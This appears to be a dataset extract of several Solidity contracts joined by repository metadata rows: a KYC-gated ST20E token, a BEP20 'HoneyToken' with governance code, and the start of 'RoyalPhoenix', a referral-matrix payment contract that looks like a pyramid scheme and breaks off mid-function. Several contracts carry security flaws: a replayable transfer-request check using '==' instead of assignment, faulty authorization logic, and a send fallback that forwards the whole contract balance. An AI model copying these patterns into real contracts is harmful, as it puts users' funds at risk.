if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function multiTransfer(address[] _to,uint[] _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract KYCVerification is Owned{
mapping(address => bool) public kycAddress;
event LogKYCVerification(address _kycAddress,bool _status);
constructor () public {
owner = msg.sender;
}
function updateVerifcationBatch(address[] _kycAddress,bool _status) onlyOwner public returns(bool)
{
for(uint tmpIndex = 0; tmpIndex < _kycAddress.length; tmpIndex++)
{
kycAddress[_kycAddress[tmpIndex]] = _status;
emit LogKYCVerification(_kycAddress[tmpIndex],_status);
}
return true;
}
function updateVerifcation(address _kycAddress,bool _status) onlyOwner public returns(bool)
{
kycAddress[_kycAddress] = _status;
emit LogKYCVerification(_kycAddress,_status);
return true;
}
function isVerified(address _user) view public returns(bool)
{
return kycAddress[_user] == true;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ST20EToken is Owned, BurnableToken {
string public name = "SUREBANQA ENTERPRISE e-SHARE";
string public symbol = "ST20E";
uint8 public decimals = 2;
uint256 public initialSupply = 1000000 * (10 ** uint256(decimals));
uint256 public totalSupply = 1000000 * (10 ** uint256(decimals));
uint256 public externalAuthorizePurchase = 0;
mapping (address => uint) public userLockinPeriod;
mapping (address => uint) public userLockinPeriodType;
mapping (address => bool) public frozenAccount;
mapping(address => uint8) authorizedCaller;
bool public kycEnabled = true;
bool public authorizedTransferOnly = true;
mapping(address => mapping(bytes32 => bool)) private transferRequestStatus;
struct fundReceiver{
address _to;
uint _value;
}
mapping(address => mapping(bytes32 => fundReceiver)) private transferRequestReceiver;
KYCVerification public kycVerification;
event KYCMandateUpdate(bool _kycEnabled);
event KYCContractAddressUpdate(KYCVerification _kycAddress);
event FrozenFunds(address target, bool frozen);
event AuthorizedCaller(address caller);
event DeAuthorizedCaller(address caller);
event LockinPeriodUpdated(address _guy,uint _userLockinPeriodType, uint _userLockinPeriod);
event TransferAuthorizationOverride(bool _authorize);
event TransferRequested(address _from, address _to, uint _value,bytes32 _signature);
event TransferRequestFulfilled(address _from, address _to, uint _value,bytes32 _signature);
modifier onlyAuthCaller(){
require(authorizedCaller[msg.sender] == 1 || msg.sender == owner);
_;
}
modifier kycVerified(address _guy) {
if(kycEnabled == true){
if(kycVerification.isVerified(_guy) == false)
{
revert("KYC Not Verified");
}
}
_;
}
modifier frozenVerified(address _guy) {
if(frozenAccount[_guy] == true)
{
revert("Account is freeze");
}
_;
}
modifier transferAuthorized(address _guy) {
if(authorizedTransferOnly == true)
{
if(authorizedCaller[msg.sender] == 0 || msg.sender != owner)
{
revert();
}
}
_;
}
constructor() public {
owner = msg.sender;
balances[0xBcd5B67aaeBb9765beE438e4Ce137B9aE2181898] = totalSupply;
authorizedCaller[msg.sender] = 1;
emit AuthorizedCaller(msg.sender);
}
function updateKycContractAddress(KYCVerification _kycAddress) public onlyOwner returns(bool)
{
kycVerification = _kycAddress;
emit KYCContractAddressUpdate(_kycAddress);
return true;
}
function updateKycMandate(bool _kycEnabled) public onlyAuthCaller returns(bool)
{
kycEnabled = _kycEnabled;
emit KYCMandateUpdate(_kycEnabled);
return true;
}
function overrideUserLockinPeriod(address _guy,uint _userLockinPeriodType, uint _userLockinPeriod) public onlyAuthCaller
{
userLockinPeriodType[_guy] = _userLockinPeriodType;
userLockinPeriod[_guy] = _userLockinPeriod;
emit LockinPeriodUpdated(_guy,_userLockinPeriodType, _userLockinPeriod);
}
function overrideTransferAuthorization(bool _authorize) public onlyAuthCaller
{
authorizedTransferOnly = _authorize;
emit TransferAuthorizationOverride(_authorize);
}
function authorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 1;
emit AuthorizedCaller(_caller);
return true;
}
function deAuthorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 0;
emit DeAuthorizedCaller(_caller);
return true;
}
function () payable public {
revert();
}
function _transfer(address _from, address _to, uint _value) internal transferAuthorized(msg.sender) {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[_from] > _value); // Check if the sender has enough
require (balances[_to].add(_value) > balances[_to]); // Check for overflow
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = balances[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function purchaseToken(address _receiver, uint _tokens, uint _userLockinPeriod, uint _userLockinPeriodType) onlyAuthCaller public {
require(_tokens > 0);
require(initialSupply > _tokens);
initialSupply = initialSupply.sub(_tokens);
_transfer(owner, _receiver, _tokens); // makes the transfers
externalAuthorizePurchase = externalAuthorizePurchase.add(_tokens);
if(_userLockinPeriod != 0 && _userLockinPeriodType != 0)
{
userLockinPeriod[_receiver] = _userLockinPeriod;
userLockinPeriodType[_receiver] = _userLockinPeriodType;
emit LockinPeriodUpdated(_receiver,_userLockinPeriodType, _userLockinPeriod);
}
}
function transfer(address _to, uint256 _value) public kycVerified(msg.sender) frozenVerified(msg.sender) returns (bool) {
if(kycEnabled == true){
if(kycVerification.isVerified(_to) == false)
{
revert("KYC Not Verified for Receiver");
}
}
_transfer(msg.sender,_to,_value);
return true;
}
function multiTransfer(address[] _to,uint[] _value) public kycVerified(msg.sender) frozenVerified(msg.sender) returns (bool) {
require(_to.length == _value.length, "Length of Destination should be equal to value");
require(_to.length <= 25, "Max 25 Senders allowed");
for(uint _interator = 0;_interator < _to.length; _interator++)
{
if(kycEnabled == true){
if(kycVerification.isVerified(_to[_interator]) == false)
{
revert("KYC Not Verified for Receiver");
}
}
}
for(_interator = 0;_interator < _to.length; _interator++)
{
_transfer(msg.sender,_to[_interator],_value[_interator]);
}
return true;
}
function requestTransfer(address _to, uint _value, bytes32 _signature) public returns(bool)
{
require(transferRequestStatus[msg.sender][_signature] == false,"Signature already processed");
require (balances[msg.sender] > _value,"Insufficient Sender Balance");
transferRequestReceiver[msg.sender][_signature] = fundReceiver(_to,_value);
emit TransferRequested(msg.sender, _to, _value,_signature);
return true;
}
function batchRequestTransfer(address[] _to, uint[] _value, bytes32[] _signature) public returns(bool)
{
require(_to.length == _value.length ,"Length for to, value should be equal");
require(_to.length == _signature.length ,"Length for to, signature should be equal");
for(uint _interator = 0; _interator < _to.length ; _interator++)
{
require(transferRequestStatus[msg.sender][_signature[_interator]] == false,"Signature already processed");
transferRequestReceiver[msg.sender][_signature[_interator]] = fundReceiver(_to[_interator],_value[_interator]);
emit TransferRequested(msg.sender, _to[_interator], _value[_interator],_signature[_interator]);
}
return true;
}
function fullTransferRequest(address _from, bytes32 _signature) public onlyAuthCaller returns(bool)
{
require(transferRequestStatus[_from][_signature] == false);
fundReceiver memory _tmpHolder = transferRequestReceiver[_from][_signature];
_transfer(_from,_tmpHolder._to,_tmpHolder._value);
transferRequestStatus[_from][_signature] == true;
emit TransferRequestFulfilled(_from, _tmpHolder._to, _tmpHolder._value,_signature);
return true;
}
function batchFullTransferRequest(address[] _from, bytes32[] _signature) public onlyAuthCaller returns(bool)
{
for(uint _interator = 0; _interator < _from.length ; _interator++)
{
require(transferRequestStatus[_from[_interator]][_signature[_interator]] == false);
fundReceiver memory _tmpHolder = transferRequestReceiver[_from[_interator]][_signature[_interator]];
require (_tmpHolder._value < balances[_from[_interator]],"Insufficient Sender Balance");
_transfer(_from[_interator],_tmpHolder._to,_tmpHolder._value);
transferRequestStatus[_from[_interator]][_signature[_interator]] == true;
emit TransferRequestFulfilled(_from[_interator], _tmpHolder._to, _tmpHolder._value,_signature[_interator]);
}
return true;
}
function getTransferRequestStatus(address _from, bytes32 _signature) public view returns(bool _status)
{
return transferRequestStatus[_from][_signature];
}
function getTransferRequestReceiver(address _from, bytes32 _signature) public view returns(address _to, uint _value)
{
fundReceiver memory _tmpHolder = transferRequestReceiver[_from][_signature];
return (_tmpHolder._to, _tmpHolder._value);
}
function() payable external {
revert();
}
}
| 204,227 | 314 |
e61fa9cf7eaa86c8fd242e69e2cfea1cda8c03e863d86b3a0bede266241cd1bc
| 30,683 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x027B6aF9030b491bb1e67EA895910D04cF6e9645/contract.sol
| 3,934 | 15,343 |
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_balances[address(0)] = _balances[address(0)].add(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
pragma solidity 0.6.12;
// HoneyToken with Governance.
contract HoneyToken is BEP20('https://t.me/honeyswap join before farm starts', 'https://honeyswap.fi') {
constructor() public {
// Mint the total supply of the token to the deployer of the contract
_mint(msg.sender, 10000000000000000000000);
_moveDelegates(address(0), _delegates[msg.sender], 10000000000000000000000);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "HONEY::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "HONEY::delegateBySig: invalid nonce");
require(now <= expiry, "HONEY::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "HONEY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying HONEYs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "HONEY::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 256,065 | 315 |
d5179fa31077cc71532becb9e5e8235c6bef1cb09bd63d31005bf29b4073c6f9
| 31,389 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TL5tS5BJ2rLRoawrkLdmufMafXwepiTVKv_RoyalPhoenix.sol
| 7,671 | 28,625 |
//SourceUnit: RoyalPhoenixNew.sol
pragma solidity >=0.4.23 <0.6.0;
contract RoyalPhoenix {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
mapping(uint8 => X8) x8Matrix;
mapping(uint8 => XA) xAMatrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct X8 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct XA {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
uint status;
uint totreceve;
uint totwith;
uint totCurrnt;
address closedPart;
}
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
uint public tronchk = 0;
uint public tottran = 0;
mapping(uint8 => uint) public levelPrice;
mapping(uint8 => uint) public levelPrice1;
// mapping(uint8 => uint) public levelPrice;
//emit RegDetails(userAddress,userAddress1,msg.sender, msg.value, mid);
event SlotDetails(address indexed userAddress,address indexed PayeerAdd,uint indexed mid, uint refid,uint matrix,uint lvl);
event RegDetails(address indexed user,address indexed user1,address indexed user2, uint payment, uint userId);
event ChekFinalBroNew(address indexed user, uint recved, uint with,uint paynow,uint chkachiver,uint statusn,uint Totchknow);
event ChekFinalBro(address indexed user, uint recved, uint with,uint paynow,uint chkachiver,uint chkpo);
event ChekFinal(address indexed user, uint recved, uint with,uint totchk);
event Cheknew1new(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew1(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew2(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event UpgradeNew(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
constructor(address ownerAddress) public {
levelPrice[1] = 350 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function registrationnEW(address userAddress,address userAddress1, uint mid) external payable {
require(msg.value == 850 trx, "registration cost 850 trx");
uint tr=350 trx;
uint tr1=150 trx;
emit RegDetails(userAddress,userAddress1,msg.sender, msg.value, mid);
Execution1(userAddress,tr);
Execution1(userAddress1,tr);
Execution1(owner,tr1);
}
function Execution1(address _sponsorAddress,uint price) private returns (uint distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function buyNewLevelEW(uint8 matrix, uint8 level,address userAddress, uint mid,uint refid) external payable {
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
Execution(userAddress,msg.value);
emit SlotDetails(userAddress, msg.sender, mid , refid,matrix,level);
// event SlotDetails(matrix,lvl,userAddress,PayeerAdd,mid,,refid)
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function isUserExistsNew(address user) public view returns (bool) {
return (users[user].id != 0);
}
function WithdralExt(address referrerAddress) external payable {
//registration(msg.sender, referrerAddress);
require(msg.value == 0.1 trx, "registration cost 0.1");
if(users[msg.sender].xAMatrix[1].status>0)
{
// require(msg.value == 1 trx, "registration cost 1 trx");
if(users[msg.sender].xAMatrix[1].totCurrnt>0 trx)
{
if(users[msg.sender].xAMatrix[1].totreceve>users[msg.sender].xAMatrix[1].totCurrnt)
{
uint payn=users[msg.sender].xAMatrix[1].totCurrnt ;
//uint oldamnt;
Execution(msg.sender,payn);
users[msg.sender].xAMatrix[1].totreceve-= users[msg.sender].xAMatrix[1].totCurrnt;
//oldamnt=users[msg.sender].xAMatrix[1].totCurrnt;
users[msg.sender].xAMatrix[1].totCurrnt=0 trx;
users[msg.sender].xAMatrix[1].totwith=0 trx;
emit ChekFinal(msg.sender,users[msg.sender].xAMatrix[1].totreceve,users[msg.sender].xAMatrix[1].totwith,users[msg.sender].xAMatrix[1].totCurrnt);
}
else
{
uint payn=users[msg.sender].xAMatrix[1].totreceve ;
Execution(msg.sender,payn);
users[msg.sender].xAMatrix[1].totreceve=0 trx;
users[msg.sender].xAMatrix[1].totCurrnt=0 trx;
emit ChekFinal(msg.sender,users[msg.sender].xAMatrix[1].totreceve,users[msg.sender].xAMatrix[1].totwith,users[msg.sender].xAMatrix[1].totCurrnt);
}
}
// }
}
}
// require(msg.value == 1 trx, "registration cost 1 trx");
function Execution(address _sponsorAddress,uint price) private returns (uint distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 850 trx, "registration cost 850");
// require(msg.value == 0.05 ether, "registration cost 0.05");
